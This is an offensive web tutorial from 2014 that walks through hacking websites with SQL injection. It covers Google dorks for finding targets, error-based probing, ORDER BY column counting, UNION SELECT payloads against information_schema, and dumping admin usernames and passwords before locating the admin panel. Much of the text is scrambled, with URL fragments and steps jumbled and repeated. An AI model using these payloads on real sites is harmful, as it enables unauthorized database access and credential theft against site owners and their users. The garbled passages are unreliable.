Hacking website using SQL Injection -step bystep guide www.breakthesecurity.com March 24th, 2014 What is SQL Injection? SQL injection is one of the popular web application hacking method. Using the SQL Injection attack, an unauthorized person can access the database of the website. Attacker can extract the data from the Database. What a hacker can do with SQL Injection attack? * ByPassing Logins * Accessing secret data * Modifying contents of website * Shutting down the My SQL server So, here we go. Step 1: Finding Vulnerable Website: To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords. Those keyword often referred as 'Google dork'. Some Examples: inurl:index.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:pageid= Here is the huge list of Google Dork http://www.ziddu.com/download/13161874/A...t.zip.html Copy one of the above keyword and paste in the google. Here , we will got lot search result with We have to visit the websites one by one for checking the vulnerability. Note:if you like to hack particular website,then try this: site:www.victimsite.com dork_list_commands for eg: victimsite.2.com/index.php?id=2 http://www.php?id=2 http://www. Our next step is to find the number of columns present in the target database..php?id=2 http://www.php?id=2 http://www.com/index.php?id=2 order order order order order order order order by by by by by by by by 1(noerror) 2(noerror) 3(noerror) 4(noerror) 5(noerror) 6(noerror) 7(noerror) 8(error) so now x=8 . I mean: http://www.php?id=2 http://www. In case .com/index.victimsite.com/index.then no of column is "x-1".com inurl:index.com/index.php?id=2' If the page remains in same page or showing that page not found.victimsite..victimsite.n.site:www. For eg: http://www.php?id=2 order by 1-- . For eg: http://www. Change the n from 1.5. we have found that the website is vulnerable to SQLi attack..php?id=2 http://www.com/index. then it is not vulnerable.php?id=2 http://www.com/index.e. Until you get the error like "unknown column ".victimsite. 7.php?id=2 order order order order by by by by 1 2 3 4 If you get the error while trying the "x"th number. The number of column is x-1 i.victimsite.com/index.victimsite. then try to add the "--" at the end of the statement.php?id=2 http://www. For eg: http://www. To check the vulnerability . For that replace the single quotes(') with "order by n" statement.victimsite.com/index.victimsite.4.victimsite.com/index.3. add the single quotes(') at the end of the url and hit enter. then it means that the site is vulnerable Step 3: Finding Number of columns: Great.php?id=2 http://www.php?id= Step 2: Checking the Vulnerability: Now let us check the vulnerability of the target website.com/index.com/index.victimsite. If you got an error message just like this.com/index..victimsite.if the above method fails to work for you.com/index.php?id=2 http://www.6.victimsite.victimsite.victimsite. Change the id value to negative(i mean id=-2).2.5.6.user Replace the 3 from the query with "version()" For eg: http://www.database.2. Bingo.user().7-- If the above method is not working then try this: http://www.then the query is as follow: http://www.1 or 4.database(). column '3' and '7' are found to be vulnerable.victimsite.6.6.7-- http://www.victimsite. For eg: http://www.3.7-- Now.5.com/index.0.user respectively.4.4.com/index.7-- Once you execute the query.6.version().3.victimsite. Replace the version() with database() and user() for finding the database.4. Step 5: Finding version.4.php?id=-2 and 1=2 union select 1.5.7-- .php?id=-2 union select 1.2.4.2. Let us find the vulnerable column by trying the query "union select columns_sequence".php?id=-2 and 1=2 union select 1.5. something like this.victimsite. It will display the version as 5.6. We can inject our query in this column. it will display the vulnerable column.2. Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(.com/index.3.php?id=-2 and 1=2 union select 1.com/index.com/index. Let us take the first vulnerable column '3' . For eg: if the number of columns is 7 .victimsite.php?id=-2 and 1=2 union select 1.5.Step 4: Find the Vulnerable columns: We have successfully discovered the number of columns present in the target database.). If you are not able to see the Hackbar. Let us find the table name of the database.com/index.php?id=-2 and 1=2 union select 1. Replace the 3 with "group_concat(table_name) and add the "from information_schema. then press F9.6.tables where table_schema=database()--" with "FROM information_schema.php?id=-2 and 1=2 union select 1.org/en-US/firefox/addon/3899/ Once you installed the add-on. then you have to guess the table names (blind sql injection attack).4. Step 7: Finding the Column Name Now replace the "group_concat(table_name) with the "group_concat(column_name)" Replace the "from information_schema.victimsite.If the above is not working. you can see a toolbar that will look like the following one.4. Let us choose the "admin " table. Select sql->Mysql->MysqlChar() in the Hackbar.then try this: http://www.tables where table_schema=database()" For eg: http://www.group_concat(table_name).victimsite.6.columns WHERE table_name=mysqlchar-We have to convert the table name to MySql CHAR() string .unhex(hex(@@version)). Install the HackBar addon: https://addons.5.mozilla.x. If the version is 4.2.7-- Step 6: Finding the Table Name If the Database version is 5 or above. . Find the table name which is related with the admin or user.5.7 from information_schema.tables where table_schema=database()-- Now it will display the list of table names.2.com/index. password.password.0x3a.4..username. Now you can see the CHAR(numbers separated with commans) in the Hack toolbar..5.0x3a.6.victimsite. then it will display the data stored in the database depending on your column name.admin_id.ID_admin. For example: admin.admin_username.admin_password).com/index.anothercolumnname2). then try another column name from the list.7 from information_schema. 109.columns where table_name=CHAR(97. 109.admin_password.php?id=-2 and 1=2 union select 1. 105. In our case the table name is 'admin'. 110)" with the "from table_name" For eg: http://www.php?id=-2 and 1=2 union select 1.5.admin_name.group_concat(admin_id.It will ask you to enter string that you want to convert to MySQLCHAR().admin_pas s. For instance. If we got luck. 100.2. We want to convert the table name to MySQLChar .admin_password. Now replace the replace group_concat(column_name) with group_concat(columnname1.2. 105.columns where table_name=CHAR(97. 110)-The above query will display the list of column.active.group_concat(column_name). Copy and paste the code at the end of the url instead of the "mysqlchar" For eg: http://www. Now replace the " from information_schema. username and password column will display the login credentials stored in the database.admin_name.admin_name.admin_id.6.7 from admin-- If the above query displays the 'column is not found' erro. 100.com/index.victimsite. .4.id.et c. com/admin.com/admin/ http://www. or you can some kind of admin finder tools.you will find the admin page using above urls. .com:2082/ etc. If you got luck .html http://www.victimsite.victimsite.com/admin.php http://www.victimsite.Step 8: Finding the Admin Panel: Just try with url like: http://www.victimsite.